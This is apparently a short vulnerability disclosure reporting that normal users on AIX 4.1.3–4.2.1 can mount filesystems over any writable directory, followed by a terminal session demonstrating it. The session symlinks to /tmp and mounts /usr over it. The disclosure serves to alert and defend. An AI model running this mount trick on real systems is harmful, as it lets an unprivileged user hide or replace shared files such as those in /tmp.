My apologies if this is known already . . . however, I've seen nothing about
it and it does concern me. I have verified a problem with mount on AIX 4.1.3,
4.1.4, 4.2.0, and 4.2.1 which allows a normal user to mount any filesystem
(including those already mounted by the system) on top of any writable
space. Immediately, as the script below shows, this allows a user to
overwrite the contents of 777 directories with whatever files one wants.
(e.g. Removing access to temporary files in /tmp) . . .
sapphire /home/rquick > oslevel
4.1.4.0
sapphire /home/rquick > who am i
rquick pts/2
sapphire /home/rquick > id
uid=20653(rquick) gid=101(comtec)
sapphire /home/rquick > ln -s /tmp mnt
sapphire /home/rquick > mount /usr mnt
sapphire /home/rquick > cd /tmp
sapphire /tmp > ls
OV dict include lpd sbin ucb
adm dt lbin lpp share usg
bin ebt lib man spool
ccs eligibility local pub sys
common etc lost+found samples tmp
sapphire /tmp > cd
sapphire /home/rquick > umount mnt
sapphire /home/rquick >
I have notified IBM of the problem . . . they have yet to respond.
S. Ryan Quick
UNIX Systems Engineer
Phaedo Consulting, Inc.
PGP: www.phaedo.com/ryan/
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